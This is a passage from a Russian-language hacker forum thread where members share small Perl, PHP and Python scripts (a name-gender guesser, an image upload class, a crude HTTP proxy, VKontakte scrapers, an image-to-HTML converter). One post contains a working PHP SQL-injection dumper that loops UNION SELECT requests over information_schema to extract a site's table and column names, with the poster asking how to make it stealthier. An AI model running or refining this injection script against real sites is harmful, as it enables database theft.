    fl.close()
     
    1 person likes this.
  13. real_kas

    real_kas Member

    Joined:
    22 Mar 2007
    Messages:
    40
    Likes Received:
    7
    Reputations:
    5
    А не лучше ли сделать выбор "ИЛИ" вместо явного указания каждой буквы?

    Code:
    sub gender # 1 - woman; 0 - man
    {
    	my ($name) = @_;
    	return 1 if $name=~"(я|а|о|ы|э|е|a|o|i|e|Я|А|О|Ы|Э|Е|A|E|O|I)\$";
    	return 0;
    }
     
  14. suser

    suser Member

    Joined:
    30 Dec 2009
    Messages:
    35
    Likes Received:
    5
    Reputations:
    0
    Класс для загрузки картинок
    Клац http://narod.ru/disk/16553661000/class.upload.rar.html ~25.3 кБ

    Пример работы:
    PHP:
    <?php
    $foo 
    = new Upload($_FILES['form_field']);
    if (
    $foo->uploaded)
    {
        
    // Сохранение загруженного изображения без изменений
      
    $foo->Process('/home/user/files/');
        if (
    $foo->processed)
        {
            echo 
    'original image copied';
        }
        else
        {
            echo 
    'error : ' $foo->error;
        }
        
    // Сохранение загруженного изображения с новым именем
      
    $foo->file_new_name_body 'foo';
        
    $foo->Process('/home/user/files/');
        if (
    $foo->processed)
        {
            echo 
    'image renamed "foo" copied';
        }
        else
        {
            echo 
    'error : ' $foo->error;
        }
        
    // Сохранение загруженного изображения с новым именем,
      // Уменьшить по ширине 100px
      
    $foo->file_new_name_body 'image_resized';
        
    $foo->image_resize true;
        
    $foo->image_convert gif;
        
    $foo->image_x 100;
        
    $foo->image_ratio_y true;
        
    $foo->Process('/home/user/files/');
        if (
    $foo->processed)
        {
            echo 
    'image renamed, resized x=100
              and converted to GIF'
    ;
            
    $foo->Clean();
        }
        else
        {
            echo 
    'error : ' $foo->error;
        }
    }
    ?>
     
    1 person likes this.
  15. Nik(rus)

    Nik(rus) Member

    Joined:
    19 Jun 2009
    Messages:
    45
    Likes Received:
    7
    Reputations:
    0
    PyRoxy - мини-проксик на питоне (чуток кривой, с картинками небольшой баг, иногда не принимает... но ведь картинки не самое главное? :))
    Из фич - некоторые картинки все-же показывает (видимо пакет с большими картинками... большеват), меняет Юзер-Агент, да и вроде-как даже POST исполняет!
    Code:
    # -*- coding: cp1251 -*-
    import SocketServer
    import re
    import socket
    import urllib
    import httplib
    import thread
    
    class MyTCPHandler(SocketServer.BaseRequestHandler):
    	def handle(self):
    		self.data = self.request.recv(4096)
    		if (self.data != ""):
    			get = re.search("GET ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
    			self.data = re.sub("User-Agent: [^\n]*\n","User-Agent: " + str(uagent) + "\n",self.data,1)
    			if not get:
    				get = re.search("POST ([^: ]*):([^ ]*) ([^ \n]*)\n",self.data)
    			if get:
    				print "GET: " + str(get.group(1)) + ":" + str(get.group(2))
    				print "-----------------------------------"
    				host = urllib.splithost(get.group(2))
    				ip = 0
    				try:
    					ip = socket.getaddrinfo(host[0],80)
    					ip = ip[0][4][0]
    					sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    					sock.connect((ip,80))
    					sock.send(self.data)
    					if get.group(2).endswith('.png') or get.group(2).endswith('.jpg') or get.group(2).endswith('.jpeg') or get.group(2).endswith('.gif'):
    						conn = httplib.HTTPConnection(host[0])
    						conn.request('GET',host[1])
    						res = conn.getresponse()
    						data = res.read()
    						conn.close()
    						self.request.send(data)
    					recv2 = sock.recv(4096)
    					recv = ""
    					while recv2 <> "":
    						reg = re.search("<title>(.*)</title>",recv2)
    						if reg:
    							title = str(reg.group(1)) + " ^ UnDer PyRoxy"
    							recv = re.sub("<title>.*</title>","<title>" + str(title) + "</title>",recv2,1)
    						recv += recv2
    						recv2 = sock.recv(4096)
    					self.request.send(recv)
    				except:
    					recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Error connecting to server</font></div></body></html>"
    					self.request.send(recv)
    			else:
    				recv = "HTTP/1.1 200 OK\nDate: 123\nServer: SOME!\nContent-Length: 120\nConnection: close\nContent-Type: text/html; charset=windows-1251\n\n <html><title>PyRoxy: ERROR</title><body><div align='center'><font color='red'>Unknown packet</font></div></body></html>"
    				self.request.send(recv)
    print "_._._._._-=PyRoxy v. 0.1=-_._._._._"
    print "-----------------------------------"
    uagent = "AK-47"
    socket.setdefaulttimeout(1000)
    HOST, PORT = "127.0.0.1", 9999
    print "Binding on " + str(HOST) + ":" + str(PORT)
    print "-----------------------------------"
    server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler)
    server.serve_forever()
    
     
  16. ahtovo

    ahtovo New Member

    Joined:
    10 Nov 2008
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Доброго всем времени суток! помогите мне написать скрипт чтоб можно было с мобильного телефона выгрузить на сайт (име папки указывается переменой) фото, аудио, видео и джава!
    стандартное копифайл не пашет, как сделать негде не могу найти ни в нете ни в книгах!
    заранее спасибо!
     
  17. Imperou$

    Imperou$ Elder - Старейшина

    Joined:
    23 May 2008
    Messages:
    90
    Likes Received:
    42
    Reputations:
    0
    Привет всем. Ребят, не знал куда написать.Ситуация такая, есть сайт, есть уязвимость в скрипте после авторизации,MySQL 5 ветки.Т.е. снаружи к уязвимому параметру нет доступа, только после ввода логина и пароля. Нужен скрипт для дампа таблиц и полей из бд, есть вот такой

    Code:
    <?php  set_time_limit(0); for($n = 0;$n <= 500;$n++)         { $host = 'www.site.com';  $url = fsockopen($host, 80);   $req  = "GET /script.php?id=-1033901+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,concat(0x3c677261623e,0x3c677261623e,table_schema,0x203a20,table_name,0x203a20,column_name,0x3c2f677261623e2020),29,30,31,32+from+information_schema.columns+limit+$n,1/* HTTP/1.1\r\n";  $req .= "Host: $host\r\n";  $req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n";  $req .= "Content-Type: application/x-www-form-urlencoded\r\n";  $req .= "Connection: Close\r\n\r\n";   fputs($url, $req); while (!feof($url)) { unset($buffer); $buffer = fread($url, 1028);                 $s = strstr($buffer,'<grab>');                   $nm = strpos($s,'</grab>');                  $result = substr($s,7,$nm - 7); 		$check = preg_replace("|grab>|", "", $result);                 #echo $pizdec; file_put_contents("dump.txt", $check, FILE_APPEND);  } $ns = "\n"; file_put_contents("dump.txt", $ns, FILE_APPEND); fclose($url);  }  ?>
    в пхп не силён,есть ли возможность переделать скрипт для отсылки запросов к бд POST методом (непаливно), и прикрутить кукисы, чтобы их можно было менять, т.к. время сессии не бесконечно. Или по логину и паролю, хз. Могу заплатить, но не много, сейчас кризис временный =)
    Очень на Вас надеюсь. Или хотя бы обьясните как реализовать.
     
    #917 Imperou$, 17 Jan 2010
    Last edited: 17 Jan 2010
  18. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,154
    Reputations:
    202
    Заметки для Вкантакте.ру (Гороскоп, Погода)

    Т.к. я являюсь задротом ВК, решил написать небольшой скрипт для Грабинга погоды с gismeteo.ua и Гороскопа с astrostar.ru.

    Скрипт работает при наличии cURL и allow_url_fopen = On, ну мне как бы все равно у меня VDS =) Запускайте через cron 2 раза в сутки и будет вам щастье.
    Небольшой README по настройке скрипта:
    PHP:
    /* Конфиг: */
    $a = new weather('http://www.gismeteo.ua/city/daily/5053/');
    $session vk_login('[email protected]','passwd');
    $idnote_weather '9662358';
    $idnote_horoscope '9664419';
    1-я строка - ето ссылка на ваш город в gismeteo.ua.
    2-я строка - авторизация для ВК, предельно ясно.
    3-я строка - ID заметки в ВК для погоды, к примеру у меня ссылка на заметку:
    vkontakte.ru/note****_9662358
    берем число которое после прочерка, т.е. 9662358
    4-я строка - аналогично 3-й но тут ID заметки для Гороскопа.

    ЗЫ. Заметки создавать вручную, а скрипт уже будет их редактировать и сохранять.

    Исходник:
     
    #918 b3, 19 Jan 2010
    Last edited: 19 Jan 2010
    2 people like this.
  19. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    Проверка пользователя ВКонтакте на "онлайн" ( даже если его страница закрыта ).

    Не требует дополнительных библиотек типа iconv.

    PHP:
    <?php

    @ini_set('max_execution_time'0);

    $mail "[email protected]"//нужен для проверки какой-либо аккаунт.
    $pass "pasha"//пароль от этого аккаунта
    $id "1"//ИД, который нужно проверить.


        
    $log_in do_curl("http://login.userapi.com/auth""login=force&id=0&fccode=0&fcsid=0&site=2&email=".$mail."&pass=".$pass); 

        if( !
    preg_match('#sid=(.+)#'$log_in$sid_tmp) )    die("Не удалось подключиться к API вконтакте.");




    switch(
    $sid $sid_tmp[1])    {

        case -
    1: die("Неверный email или пароль"); break;

        case -
    2: die("Вылезла капча, не смог авторизоваться :("); break;

        case -
    3: die("Неверный email или пароль, при следующей попытке нужно будет отправить капчу"); break;

        case -
    4: die("Неверный email или пароль, капча не вылезла"); break;

        default: echo 
    "Авторизовались... sid: $sid<br /><br />"; break;

                    }




        
    $result utfwin(do_curl("http://userapi.com/data""act=profile&id=$id&sid=$sid"));


    preg_match"#\"on\":(\d+)#"$result$out );

    preg_match'#"fn":"(.+)"#U'$result$firstname );

    preg_match'#"ln":"(.+)"#U'$result$lastname );



    switch(
    $out[1])    {

        case 
    1:    $status "онлайн";    break;

        default: 
    $status "оффлайн";    break;

            }


    die( 
    $firstname[1]." ".$lastname[1]." ".$status );


    function 
    utfwin($fcontents) {
        
    $out $c1 '';
        
    $byte2 false;
        for (
    $c 0;$c strlen($fcontents);$c++) {
            
    $i ord($fcontents[$c]);
            if (
    $i <= 127) {
                
    $out .= $fcontents[$c];
            }
            if (
    $byte2) {
                
    $new_c2 = ($c1 3) * 64 + ($i 63);
                
    $new_c1 = ($c1 >> 2) & 5;
                
    $new_i $new_c1 256 $new_c2;
                if (
    $new_i == 1025) {
                    
    $out_i 168;
                } else {
                    if (
    $new_i == 1105) {
                        
    $out_i 184;
                    } else {
                        
    $out_i $new_i 848;
                    }
                }
                
    // UKRAINIAN fix
                
    switch ($out_i){
                    case 
    262$out_i=179;break;// і
                    
    case 182$out_i=178;break;// І 
                    
    case 260$out_i=186;break;// є
                    
    case 180$out_i=170;break;// Є
                    
    case 263$out_i=191;break;// ї
                    
    case 183$out_i=175;break;// Ї
                    
    case 321$out_i=180;break;// ґ
                    
    case 320$out_i=165;break;// Ґ
                
    }
                
    $out .= chr($out_i);
                
                
    $byte2 false;
            }
            if ( ( 
    $i >> 5) == 6) {
                
    $c1 $i;
                
    $byte2 true;
            }
        }
        return 
    $out;
    }

    function 
    do_curl($url$post=false){  
     
        
    $c curl_init($url);  


        
    curl_setopt($cCURLOPT_RETURNTRANSFER1); 
        
    curl_setopt($cCURLOPT_HEADER1); 

        if(
    $post)    {    curl_setopt($cCURLOPT_POST1);
                    
    curl_setopt($cCURLOPT_POSTFIELDS$post);  }

        
    curl_setopt($cCURLOPT_HTTPHEADER, array('X-Requested-With: XMLHttpRequest')); 

     
        
    $return curl_exec($c);  
        
    curl_close($c);  
        return 
    $return;  

    }  

    ?>
     
  20. WNZRS

    WNZRS Member

    Joined:
    3 Sep 2009
    Messages:
    294
    Likes Received:
    52
    Reputations:
    1
    IMAGE TO HTML

    преобразование GIF PNG JPG в HTML таблицу
    для работы нужен GD
    PHP:
    <?php
        
    echo '<title>JPG PNG GIF to PIC conv</title>
        <style>
        input {border:1px solid black;}
        </style>
        <form action="conv2.php" method="POST">
        IN <input type="text" name="in" value="img.jpg">
        OUT <input type="text" name="out" value="new.html">
        PIXEL <input type="text" name="pixel" value="1">
        PLUS <input type="text" name="plus" value="1">
        <input type="submit" value="OPEN">
        </form>
        '
    ;
        if(isset(
    $_POST['in']))
        {
            
    $in $_POST['in']; // Входное изображение
            
    $out $_POST['out']; // Выходной файл
            
    $pixel $_POST['pixel']; // Размер пикселя в пикселях
            
    $plus $_POST['plus']; // Плюс для цкла (типа сжатие)
            
    $type substr($in,-3);
            
            
    $size getimagesize($in);

            if(
    $type=='png'$img=imagecreatefrompng($in);
            else if(
    $type=='gif'$img=imagecreatefromgif($in);
            else if(
    $type=='jpg'$img=imagecreatefromjpeg($in);
            
            
    $f fopen($out'w');
            
            
    $size explode(' '$size[3]);

            
    $width substr($size[0], strpos($size[0], '"')+1, -1);
            
    $height substr($size[1], strpos($size[1], '"')+1, -1);
            
            
    fwrite($f'<table border="0" cellspacing="0" cellpadding="0">');

            for(
    $y 0$y $height$y+=$plus)
            {    
                
    fwrite($f'<tr height="'.$pixel.'">');
                for(
    $x 0$x $width$x+=$plus)
                {
                    
    $idx imagecolorat($img$x$y);
                    
    $color imagecolorsforindex($img$idx);
                        
                    
    $red base_convert($color['red'], 1016);
                    
    $green base_convert($color['green'], 1016);
                    
    $blue base_convert($color['blue'], 1016);
                    
                    if(
    strlen($red) < 2)
                        
    $red '0'.$red;
                    if(
    strlen($blue) < 2)
                        
    $blue '0'.$blue;
                    if(
    strlen($green) < 2)
                        
    $green '0'.$green;
                    
                    
    fwrite($f'<td style="background:#'.$red.$green.$blue.';" width="'.$pixel.'" height="'.$pixel.'"></td>');
                }
                
    fwrite($f'</tr>');
            }
            
    fwrite($f'</table>');
            
    fclose($f);
            
        }
    ?>